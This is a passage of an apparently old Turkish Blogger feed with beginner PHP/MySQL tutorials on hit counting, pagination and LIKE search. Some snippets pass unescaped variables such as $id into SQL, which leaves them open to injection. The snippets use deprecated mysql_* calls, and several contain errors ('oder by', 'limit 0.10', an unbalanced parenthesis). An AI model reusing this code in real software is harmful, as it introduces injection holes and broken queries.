denemi&amp;#351;tir &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ** ve &amp;ccedil;al&amp;#305;&amp;#351;&amp;#305;yo arkada&amp;#351;lar.&amp;#304;n&amp;#351;allah yard&amp;#305;m&amp;#305;m olmu&amp;#351;tur.Sizlere ba&amp;#351;ar&amp;#305;lar&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ** ve kolay gelsin... &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; */&lt;br&gt;&lt;br /&gt;?&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970989245376268?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970989245376268/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970989245376268' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970989245376268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970989245376268'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/phpsoap-kullanlarak-tc-kimlik-no.html' title='PHP+SOAP kullanılarak TC Kimlik No Doğrulatma(web servisleri)'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970982472565824</id><published>2006-10-01T05:36:00.000-08:00</published><updated>2006-10-01T05:37:04.830-08:00</updated><title type='text'>Php İle hit Mantıgı Arama yaptırdıgın Sozcuk Kac Kez Aranmıs ? Ve En Cok Aranan Sozcuk..</title><content type='html'>&lt;p&gt;Bu Yaz&amp;#305;mda Sizlere Php ile Hit Mant&amp;#305;g&amp;#305;n&amp;#305; Anlatmak &amp;#305;st&amp;#305;yorum .  &amp;Ouml;rne&amp;#287;in Elimizde Bir arama Sistemi var ve bu sistemde en cok aranan  sozcugu en az aranan sozcugu hang&amp;#305; sozcugun kac kez arand&amp;#305;g&amp;#305;n&amp;#305;  goster&amp;#305;l&amp;#305;dg&amp;#305;n&amp;#305; gostercez d&amp;#305;yelim. Mant&amp;#305;k cok kolau asl&amp;#305;nda bi mysql  tablomuz var d&amp;#305;yel&amp;#305;m....&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;#304;&amp;#351;te &amp;#350;u &amp;#350;ekilde bir Mysql Tablomuz olsun..&lt;/p&gt;&lt;br /&gt;&lt;p&gt;id |&amp;nbsp; sozcuk ismi | sozcuk ac&amp;#305;klamas&amp;#305;&amp;nbsp; | hit &lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  Burda  Primary Key id sozcuk ismi varchar 150 Sozcuk ac&amp;#305;klamas&amp;#305;n&amp;#305;n veritaban&amp;#305;  t&amp;uuml;r&amp;uuml; text olsun hit ise veritaban&amp;#305; t&amp;uuml;r&amp;uuml; int olcak ve varsay&amp;#305;lan&amp;#305; s&amp;#305;f&amp;#305;r  olcak . &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;#350;imdi sozcuk aratmay&amp;#305; felan gec&amp;#305;yorum.Sozcugu kay&amp;#305;t ett&amp;#305;r&amp;#305;p  aratt&amp;#305;n&amp;#305;z d&amp;#305;yel&amp;#305;m ( Eger &amp;#304;steyen olursa bunlar&amp;#305;da anlat&amp;#305;r&amp;#305;m) Aratt&amp;#305;k ve  Her Arama sonucunun b&amp;#305; koses&amp;#305;ne Goruntulenme say&amp;#305;s&amp;#305; ekled&amp;#305;k d&amp;#305;yel&amp;#305;m  Nas&amp;#305;l m&amp;#305; ?&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Sozcuk ismi : Ceviz&lt;/strong&gt; &lt;br&gt;&lt;br /&gt;    &lt;strong&gt;Sozcuk Ac&amp;#305;klamas&amp;#305;&amp;nbsp; : &amp;ccedil;inko y&amp;uuml;kl&amp;uuml;, &lt;/strong&gt;&lt;a href="http://nedir.antoloji.com/zeka/"&gt;&lt;strong&gt;zeka&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; geli&amp;#351;imi &lt;/strong&gt;&lt;a href="http://nedir.antoloji.com/icin/"&gt;&lt;strong&gt;i&amp;ccedil;in&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; gerekli bir &lt;/strong&gt;&lt;a href="http://nedir.antoloji.com/vitamin/"&gt;&lt;strong&gt;vitamin&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;&amp;nbsp; ... &lt;br&gt;&lt;br /&gt;      Sozcugun Goruntulenme say&amp;#305;s&amp;#305; : 12&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &amp;#304;&amp;#351;te  O "12" say&amp;#305;s&amp;#305;n&amp;#305; &amp;#351;u &amp;#351;ekilde yazd&amp;#305;r&amp;#305;yoruz her sayfa yenilenmesinde ve her  aramada dbdek&amp;#305; hit bolumunde ki varsay&amp;#305;lan&amp;#305; "0" olan deger&amp;#305; 1 art&amp;#305;rarak  g&amp;uuml;ncelle d&amp;#305;yoruz &amp;#350;&amp;ouml;le ki &lt;br&gt;&lt;br /&gt;  @mysql_query("update&amp;nbsp;TABLO_ADIN set hit=(hit+1) where id=$id");&lt;br&gt;&lt;br /&gt;  Bunun Anlam&amp;#305; ne demek dersen ? &amp;#350;&amp;ouml;le Ac&amp;#305;klay&amp;#305;m&lt;br&gt;&lt;br /&gt;  @mysql_query &amp;lt;&amp;lt; Bu Parantez &amp;#305;c&amp;#305;ndek&amp;#305; sorguyu oku yada &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;r demek &lt;br&gt;&lt;br /&gt;  update  TABLO_ADIN set hit=(hit+1) where id=$id &amp;lt;&amp;lt; Bu ise id si $id olan  ($id yi aratma yapt&amp;#305;g&amp;#305;m&amp;#305;zda zaten cekm&amp;#305;s olcaz mesela $id deg&amp;#305;sken&amp;#305;ne  atanm&amp;#305;s deger = 3 olsun) demek oluyor 3 numaral&amp;#305; id sah&amp;#305;p sozcugun hit  TABLO_ADIN neyse o tablodak&amp;#305; hit fieldini sayfa her ac&amp;#305;ld&amp;#305;g&amp;#305;nda 1 art&amp;#305;k  demek oluyor parantez&amp;#305;n &amp;#305;c&amp;#305; peki bu 12 y&amp;#305; nas&amp;#305;l gostercez ? Oda &amp;#350;&amp;ouml;le 12  yer&amp;#305;ne su kodu yazcaz echo "$hit"; &amp;lt;&amp;lt; Arama yapmak &amp;#305;c&amp;#305;n dbdek&amp;#305;  verileri cekip de&amp;#287;i&amp;#351;kenlere atm&amp;#305;&amp;#351;t&amp;#305;k zaten {id=$id ... hit=$hit}&amp;nbsp; gibi  &amp;#304;&amp;#351;te echo ile hit tablosundaki degeri ekrana bast&amp;#305;r&amp;#305;yoruz alsana b&amp;#305;  aranan sozcugun kac kez goruntulend&amp;#305;g&amp;#305; peki En Cok aranan sozcuk ? Eee  Bu kadar konusman&amp;#305;n uzer&amp;#305;ne onu cozmeniz zor olmam&amp;#305;&amp;#351;t&amp;#305;r :)&amp;nbsp; &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;&amp;nbsp;&amp;nbsp; En &amp;Ccedil;ok Aranan Sozcuk :&amp;nbsp;&amp;nbsp; &lt;/strong&gt;&amp;nbsp;&lt;br&gt;&lt;br /&gt;  K&amp;uuml;&amp;ccedil;&amp;uuml;k Bir Select &amp;#304;le i&amp;#351; Tamam Oda &amp;#350;&amp;ouml;le&amp;nbsp;&lt;br&gt;&lt;br /&gt;  $sorgu = mysql_query("Select&amp;nbsp;* from TABLO_ADIN oder by hit DESC");  &amp;lt;&amp;lt; &amp;#304;&amp;#351;te burda dedik ki TABLO_ADIN tablosundaki sozcukler&amp;#305;n  ac&amp;#305;klamas&amp;#305;n&amp;#305; &amp;#305;sm&amp;#305;n&amp;#305; id sini hiti en yuksek olandan en dusuk olana dogru  s&amp;#305;ralamal&amp;#305; olarak cek dedik ekrana basmas&amp;#305; kald&amp;#305; oda &amp;#350;&amp;ouml;le &lt;/p&gt;&lt;br /&gt;&lt;p&gt;echo "$sozcukismi ($hit)&amp;lt;br&amp;gt;"; &amp;lt;&amp;lt;&amp;lt;  &amp;#304;&amp;#351;te Buda Ekranda Alt Alta Dizer T&amp;uuml;m Sozcukler&amp;#305; Ama Mesela Alt alta en  populer 10 sozcugu &amp;#305;st&amp;#305;yoruz d&amp;#305;yel&amp;#305;m oda &amp;#350;u Sorgu ile olur ..&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  $sorgu = mysql_query("Select&amp;nbsp;* from TABLO_ADIN oder by hit DESC limit 0.10"); &amp;lt;&amp;lt; Burdaki d&amp;#305;ger&amp;#305;nden farkl&amp;#305; olan limit 0.10 deger&amp;#305; bu demekk&amp;#305; 10 sorgu goster bana &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  ---&lt;br&gt;&lt;br /&gt;  Pek&amp;#305; En D&amp;uuml;&amp;#351;&amp;uuml;k Hitteki Sozcukler Diyelim Oda &amp;#350;u Sorgu &amp;#304;le Olab&amp;#305;l&amp;#305;r : &lt;br&gt;&lt;br /&gt;  $sorgu = mysql_query("Select&amp;nbsp;* from TABLO_ADIN oder by hit&amp;nbsp;ASC limit 0.10");&amp;nbsp;  &amp;lt;&amp;lt; i&amp;#351;te bu sorgu da en az aranan kelimeleri se&amp;ccedil;er s&amp;#305;ralar ama en  az aranan 10 tanesini s&amp;#305;ralar Aras&amp;#305;ndak&amp;#305; fark Birinde DESC birinde&amp;nbsp; ASC  var ASC demek dbden gelen verileri a....h....z&amp;nbsp; mant&amp;#305;g&amp;#305;nda s&amp;#305;rala DESC  demek ise dbden gelen verileri z...h...a mant&amp;#305;g&amp;#305;nda s&amp;#305;rala demektir.&lt;br&gt;&lt;br /&gt;  Evet Anlad&amp;#305;k Umar&amp;#305;m Ayn&amp;#305; &amp;#350;ekilde Bugun Sayfam&amp;#305;z&amp;#305; Z&amp;#305;yaret Eden Cogu Ziyaretciyide Gosterebiliriz ;)&lt;br&gt;&lt;br /&gt;  Daha Bu mant&amp;#305;kla &amp;Ccedil;ok Hit Le Alakal&amp;#305; olay geli&amp;#351;tirilebilir ar&amp;#305;k oda size kalm&amp;#305;&amp;#351; ..&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970982472565824?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970982472565824/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970982472565824' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970982472565824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970982472565824'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/php-ile-hit-mantg-arama-yaptrdgn.html' title='Php İle hit Mantıgı Arama yaptırdıgın Sozcuk Kac Kez Aranmıs ? Ve En Cok Aranan Sozcuk..'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970974915202422</id><published>2006-10-01T05:34:00.000-08:00</published><updated>2006-10-01T05:35:49.326-08:00</updated><title type='text'>Php ile Vbulletin Tarzı Sayfalama yapma..!</title><content type='html'>&lt;p&gt;Tekrar Selam&amp;uuml;n Aleyk&amp;uuml;m Arkada&amp;#351;lar .&lt;br&gt;&lt;br /&gt;  &amp;#350;imdi Sizlere Vebulletin  tarz&amp;#305; uzant&amp;#305;s&amp;#305; ..../sayfa=1 ,.... /sayfa=2... Gibi Biten listeme  yapman&amp;#305;n mant&amp;#305;g&amp;#305;n&amp;#305; anlatmaya cal&amp;#305;scam . Yaz&amp;#305; Tamamen bana aittir.&lt;br&gt;&lt;br /&gt;  &amp;#304;lk Once &amp;#350;u &amp;#350;ekilde Bir Mant&amp;#305;kla &amp;#304;&amp;#351;e Ba&amp;#351;l&amp;#305;yoruz .&lt;br&gt;&lt;br /&gt;  GET mod&amp;uuml;l&amp;uuml;nden sayfa numarasi al&lt;br&gt;&lt;br /&gt;  $sayfa = @$_GET["sayfa"];&lt;/p&gt;&lt;br /&gt;&lt;p&gt;//bir sayfada listelenecek kayit sayisi&lt;br&gt;&lt;br /&gt;  $sayfalik_kayit = 10;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;//sayfa belirlenmemisse, sayfa=1 yap&lt;br&gt;&lt;br /&gt;  if( empty($sayfa) ){ $sayfa=1; }&lt;/p&gt;&lt;br /&gt;&lt;p&gt;//limit baslangici&lt;br&gt;&lt;br /&gt;  $baslangic = ($sayfa*$sayfalik_kayit)-$sayfalik_kayit;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;//b&amp;uuml;t&amp;uuml;n kayitlari sorguluyoruz&lt;br&gt;&lt;br /&gt;  $genel_sorgu = mysql_query("select * from sozluk");&lt;/p&gt;&lt;br /&gt;&lt;p&gt;//toplam kaydi hesapliyoruz.&lt;br&gt;&lt;br /&gt;  $toplam_kayit = mysql_num_rows($genel_sorgu);&lt;/p&gt;&lt;br /&gt;&lt;p&gt;toplam sayfayi hesapliyoruz.&lt;br&gt;&lt;br /&gt;  $toplam_sayfa = ceil($toplam_kayit/$sayfalik_kayit);&amp;nbsp; //ceil() &amp;#304;fadesi &amp;Ccedil;&amp;#305;kacak Olan Sonucu Yukar&amp;#305; Yuvarlama yapar&lt;br&gt;&lt;br /&gt;  &amp;Ouml;rnek  toplam_kayit/sayfalik_kayit Bize kac sayfa olcag&amp;#305;n&amp;#305; solicek ya bunun  sonucu 2.6 &amp;#305;se ceil ile biz onu 3 yapar&amp;#305;z anlad&amp;#305;k umar&amp;#305;m .Devam  ed&amp;#305;yoruz &lt;/p&gt;&lt;br /&gt;&lt;p&gt;$sql = mysql_query("Select * from TABLO_ADIN limit $baslangic,".($sayfa * $sayfalik_kayit)"; &amp;lt;&amp;lt; &amp;#304;&amp;#351;te Burda Farketti&amp;#287;imiz bi olay ne limit $baslangic,".($sayfa * $sayfalik_kayit) Bu ifade bu tablodan cekt&amp;#305;g&amp;#305;n verileri limitliyor sayfa bas&amp;#305;na kac ded&amp;#305;ysek o kadar l&amp;#305;stelemem&amp;#305;z&amp;#305; sagl&amp;#305;yor .&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  &amp;#350;imdi  De Sayfa 1 , Sayfa 2 , d&amp;#305;ye l&amp;#305;stelemem&amp;#305;z laz&amp;#305;m 1 e bas&amp;#305;nca sayfa 1 e  gelmel&amp;#305; 2 ye bas&amp;#305;nca 2 ye onuda Select Secmel&amp;#305; b&amp;#305;r menu &amp;#305;le yapay&amp;#305;m oda  sole kucuk b&amp;#305; for dongusu ile tamamd&amp;#305;r For dongusu ile o selectli  &amp;#305;faden&amp;#305;n heps&amp;#305;n&amp;#305; ayn&amp;#305; anda yaz&amp;#305;yorum ac&amp;#305;klanacak b&amp;#305; taraf&amp;#305; yok eger  anlam&amp;#305;orsunu for dongusunu b&amp;#305;lm&amp;#305;yorsunuz demekt&amp;#305;r ..&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  echo "&amp;lt;select onchange=\"location='SAYFALAMA YAPTIGIN SAYFANIN ADRES&amp;#304;.php?sayfa='+this.value\"&amp;gt;\n";&lt;br&gt;&lt;br /&gt;  for($i=0;$i&amp;lt;$toplam_sayfa;$i++){&lt;br&gt;&lt;br /&gt;  $sayfa_no = $i+1;&lt;br&gt;&lt;br /&gt;  $sec = ($sayfa_no==$sayfa) ? " selected" : "";&lt;br&gt;&lt;br /&gt;  echo "&amp;lt;option value=\"$sayfa_no\" $sec&amp;gt;Sayfa $sayfa_no&amp;lt;/option&amp;gt;\n";&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  echo "&amp;lt;/select&amp;gt;\n\n"; &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Herkese Kolay Gelsin &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970974915202422?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970974915202422/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970974915202422' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970974915202422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970974915202422'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/php-ile-vbulletin-tarz-sayfalama-yapma.html' title='Php ile Vbulletin Tarzı Sayfalama yapma..!'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970964398878492</id><published>2006-10-01T05:31:00.000-08:00</published><updated>2006-10-01T05:34:04.100-08:00</updated><title type='text'>PHP İle mysql veritabanında arama yaptırma..!</title><content type='html'>&lt;p&gt;&amp;#350;imdi mysql tablomuzu olu&amp;#351;turuyoruz diyelim ki mysql tablomuzda sunlar var &lt;/p&gt;&lt;br /&gt;&lt;p&gt;id | veri_baslik | veri_icerik_bolum1&amp;nbsp;| veri_icerik_bolum2 | anahtar_sozcuk | &lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;#304;&amp;#351;te  dbde bu sek&amp;#305;lde verilerimizi kay&amp;#305;t ettirmi&amp;#351; olal&amp;#305;m Peki &amp;#350;imdi Bu  Verilieri Aramam&amp;#305;z laz&amp;#305;m onun &amp;#305;c&amp;#305;n kucuk b&amp;#305;r arama formu yap&amp;#305;yoruz "&lt;strong&gt;arama.php&lt;/strong&gt;" diyelim buna Form &amp;#350;u &amp;#350;ekilde olabilir&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;lt;html&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;head&amp;gt;&amp;lt;title&amp;gt; umutcetinkaya.com | Arama Yapma &amp;lt;/title&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/head&amp;gt;&amp;lt;form action="aramaislem.php" name="ara" method="get"&amp;gt;&lt;br&gt;&lt;br /&gt;  Aranacak Kelime : &amp;lt;input type="text" name="aranacak_kelime"&amp;gt;&amp;lt;br&amp;gt;&amp;lt;select name="sec"&amp;gt;&amp;lt;option  value="veri_1"&amp;gt;veri_icerik_bolum1 De Ara&amp;lt;option&amp;gt;&amp;lt;option  value="veri_2"&amp;gt;veri_icerik_bolum2 De Ara&amp;lt;option&amp;gt;&amp;lt;option  value="anahtar"&amp;gt;Anahtar Kelimelerde Ara&amp;lt;option&amp;gt;&amp;lt;option  value="hepsinde"&amp;gt;Hepsinde  Ara&amp;lt;option&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input  type="submit" name="ara" value="ara"&amp;gt;&amp;lt;/form&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/html&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&amp;#304;&amp;#351;te bu &amp;#351;ekilde bir form olusturduk &amp;#305;c&amp;#305;ne select koyduk arama  yapacag&amp;#305;m&amp;#305;z alanlar&amp;#305; secelim d&amp;#305;ye simdi as&amp;#305;l olan ikinci bolum  aramaislem.php doyas&amp;#305;nda ne olcak yan&amp;#305; ? :) ona gecelim simdi &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Evet &lt;strong&gt;aramaislem.php&lt;/strong&gt; dosyas&amp;#305;nday&amp;#305;z.Oda &amp;#350;u &amp;#351;ekilde basl&amp;#305;yor tabi &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;lt;?php // PHP Code Lar&amp;#305;m&amp;#305;za Ba&amp;#351;lad&amp;#305;k &lt;br&gt;&lt;br /&gt;  include('mysql_baglanti.php') // Mysql Baglant&amp;#305;s&amp;#305; Yapt&amp;#305;k ..&lt;br&gt;&lt;br /&gt;  $aranacak_kelime = mysql_real_escape_string($_GET['aranacak_kelime']); /* Aranacak Kelimey&amp;#305; arama.php den cektik */&lt;br&gt;&lt;br /&gt;  $sec =$_GET['sec']; /*Selectte nerey&amp;#305; sect&amp;#305;yse ona gore arama komutunu sect&amp;#305;k */&lt;br&gt;&lt;br /&gt;  if($sec=="veri_1"){ &lt;/p&gt;&lt;br /&gt;&lt;p&gt;$sql= mysql_query("SELECT&amp;nbsp;* FROM sozluk WHERE&amp;nbsp;veri_icerik_bolum1 like '%".$aranacak_kelime."%'"); &lt;/p&gt;&lt;br /&gt;&lt;p&gt;}elseif($sec=="veri_2"){ &lt;/p&gt;&lt;br /&gt;&lt;p&gt;$sql= mysql_query("SELECT * FROM sozluk WHERE&amp;nbsp;veri_icerik_bolum2 like '%".$aranacak_kelime."%'");&lt;/p&gt;&lt;br /&gt;&lt;p&gt;}elseif($sec=="anahtar"){ &lt;/p&gt;&lt;br /&gt;&lt;p&gt;$sql= mysql_query("SELECT * FROM sozluk WHERE anahtar like '%".$aranacak_kelime."%'");&lt;br&gt;&lt;br /&gt;  }elseif($sec=="hepsinde"){ &lt;/p&gt;&lt;br /&gt;&lt;p&gt;$sql=  mysql_query("SELECT * FROM sozluk WHERE&amp;nbsp;veri_icerik_bolum1 like  '%".$aranacak_kelime."%' or&amp;nbsp;veri_icerik_bolum2 like  '%".$aranacak_kelime."%' or anahtar like '%".$aranacak_kelime."%'"); &lt;/p&gt;&lt;br /&gt;&lt;p&gt;}//Dedik Ve Arama Bolumler&amp;#305;n&amp;#305; Bitirdik &lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  &amp;#350;imdi Ac&amp;#305;klay&amp;#305;m k&amp;#305; burda k&amp;#305; tahm&amp;#305;n edemed&amp;#305;g&amp;#305;n&amp;#305;z yerin&lt;strong&gt; like '%".$aranacak_kelime."%' &lt;/strong&gt;like  veritaban&amp;#305;ndan arama yapmak &amp;#305;c&amp;#305;n kullan&amp;#305;lan b&amp;#305;r komut oluyor . Ve  arama.php den att&amp;#305;g&amp;#305;m&amp;#305;z aranacak_kelime yi belirtti&amp;#287;imiz yerlerde  ar&amp;#305;yor peki nas&amp;#305;l ar&amp;#305;yor bu&amp;nbsp;&amp;nbsp;&lt;strong&gt;'%".$aranacak_kelime."%' &lt;/strong&gt;&amp;#350;eklinde  yazd&amp;#305;g&amp;#305;m&amp;#305;z &amp;#305;c&amp;#305;n Arama yapt&amp;#305;g&amp;#305;m&amp;#305;z metin yaz&amp;#305; basl&amp;#305;k herneyse onun  &amp;#305;c&amp;#305;nde&amp;nbsp;herhangi bi yerinde gecen kelimeyi ar&amp;#305;yor&amp;nbsp;daha kapsaml&amp;#305; yan&amp;#305;  ornek vermek&amp;nbsp;gerek&amp;#305;rse &amp;nbsp;&amp;#350;u &amp;#350;ekilde Aranacak Kelime : "&lt;strong&gt;al&lt;/strong&gt;" olsun arama yapt&amp;#305;r&amp;#305;rken like komutundan sonra&amp;nbsp;&amp;nbsp;&lt;strong&gt;'%".$aranacak_kelime."%'&amp;nbsp;&lt;/strong&gt; Bu T&amp;uuml;r Kodlama kulland&amp;#305;ysak &lt;br&gt;&lt;br /&gt;  --&lt;br&gt;&lt;br /&gt;  Ali nerdeyd&amp;#305;n bugun niye gelmedin .&lt;br&gt;&lt;br /&gt;  Evdeydim Top Ald&amp;#305;m oynayal&amp;#305;m m&amp;#305; ?&lt;br&gt;&lt;br /&gt;  Yok ya ben oynamam.&lt;br&gt;&lt;br /&gt;  Sakal tras&amp;#305; olcam &lt;br&gt;&lt;br /&gt;  O zaman B&amp;#305;cak Al . =)&lt;br&gt;&lt;br /&gt;  --&lt;br&gt;&lt;br /&gt;  hehe  :) ornek b&amp;#305;raz olmad&amp;#305; ama &amp;#305;sted&amp;#305;g&amp;#305;m&amp;#305; anlatmam i&amp;ccedil;in bole b&amp;#305;sey  gerekl&amp;#305;yd&amp;#305; .neyse Gecelim konuya ne demi&amp;#351;tim eger arama yaparken like  den sonra &lt;strong&gt;'%".$aranacak_kelime."%'&amp;nbsp;&lt;/strong&gt; kulland&amp;#305;ysan&amp;#305;z Arama sonucu Su Renkliler Olcakt&amp;#305;r . &lt;br&gt;&lt;br /&gt;  --------------------------------------------------------&lt;br&gt;&lt;br /&gt;  Ali nerdeyd&amp;#305;n bugun niye gelmedin .&lt;br&gt;&lt;br /&gt;  Evdeydim Top Ald&amp;#305;m oynayal&amp;#305;m m&amp;#305; ?&lt;br&gt;&lt;br /&gt;  Yok ya ben oynamam.&lt;br&gt;&lt;br /&gt;  Sakal tras&amp;#305; olcam &lt;br&gt;&lt;br /&gt;  O zaman B&amp;#305;cak Al . =)&lt;br&gt;&lt;br /&gt;  Sen ali Soyad&amp;#305;n Topal D&amp;#305; Deg&amp;#305;l m&amp;#305; :)&lt;br&gt;&lt;br /&gt;  ---------------------------------------------------------&lt;br&gt;&lt;br /&gt;  &amp;#304;&amp;#351;te umar&amp;#305;m anlad&amp;#305;k .&lt;br&gt;&lt;br /&gt;  Peki Alternatifim var m&amp;#305; ?Evet Tabiki Alternatifleri &amp;#350;u &amp;#350;ekilde S&amp;#305;ralay&amp;#305;m ve Ac&amp;#305;klay&amp;#305;m ...&lt;br&gt;&lt;br /&gt;  Like Komutundan sonra &amp;#350;u Komutu kullan&amp;#305;rsak &lt;strong&gt;'%$aranacak_kelime' &lt;/strong&gt;Bu Komutu Kullan&amp;#305;rsak Eger Arama Sonuclar&amp;#305;m&amp;#305;zda $aranacak_kelime &amp;#304;le b&amp;#305;ten sonuclar&amp;#305; al&amp;#305;r&amp;#305;z orneg&amp;#305;m&amp;#305;ze gore S&amp;ouml;le ..&lt;br&gt;&lt;br /&gt;  ---------------------------------------------------------&lt;br&gt;&lt;br /&gt;  Ali nerdeyd&amp;#305;n bugun niye gelmedin .&lt;br&gt;&lt;br /&gt;  Evdeydim Top Ald&amp;#305;m oynayal&amp;#305;m m&amp;#305; ?&lt;br&gt;&lt;br /&gt;  Yok ya ben oynamam.&lt;br&gt;&lt;br /&gt;  Sakal tras&amp;#305; olcam &lt;br&gt;&lt;br /&gt;  O zaman B&amp;#305;cak Al . =)&lt;br&gt;&lt;br /&gt;  Sen ali Soyad&amp;#305;n Topal D&amp;#305; Deg&amp;#305;l m&amp;#305; :)&lt;br&gt;&lt;br /&gt;  ---------------------------------------------------------&lt;br&gt;&lt;br /&gt;  Like Komutundan sonra &lt;strong&gt;'$aranacak_kelime%'&lt;/strong&gt; koyarsak ise $aranacak_kelime ile ba&amp;#351;layanlar&amp;#305; arar yani&lt;br&gt;&lt;br /&gt;  --------------------------------------------------------&lt;br&gt;&lt;br /&gt;  Ali nerdeyd&amp;#305;n bugun niye gelmedin .&lt;br&gt;&lt;br /&gt;  Evdeydim Top Ald&amp;#305;m oynayal&amp;#305;m m&amp;#305; ?&lt;br&gt;&lt;br /&gt;  Yok ya ben oynamam.&lt;br&gt;&lt;br /&gt;  Sakal tras&amp;#305; olcam &lt;br&gt;&lt;br /&gt;  O zaman B&amp;#305;cak Al . =)&lt;br&gt;&lt;br /&gt;  --------------------------------------------------------&lt;br&gt;&lt;br /&gt;  Like Komutu kullanmadan direk sorgunun uzant&amp;#305;s&amp;#305;na&amp;nbsp;&lt;strong&gt;='$aracak_kelime' &lt;/strong&gt;koyarsak Birebir Arama Yapar . Yani Tek ve kesine yonelik arama yapar oda sole yan&amp;#305;&lt;br&gt;&lt;br /&gt;  &amp;nbsp;---------------------------------------------------------&lt;br&gt;&lt;br /&gt;  Ali nerdeyd&amp;#305;n bugun niye gelmedin .&lt;br&gt;&lt;br /&gt;  Evdeydim Top Ald&amp;#305;m oynayal&amp;#305;m m&amp;#305; ?&lt;br&gt;&lt;br /&gt;  Yok ya ben oynamam.&lt;br&gt;&lt;br /&gt;  Sakal tras&amp;#305; olcam &lt;br&gt;&lt;br /&gt;  O zaman B&amp;#305;cak Al . =)&lt;br&gt;&lt;br /&gt;  ---------------------------------------------------------&lt;br&gt;&lt;br /&gt;  Birde Bunun Tam 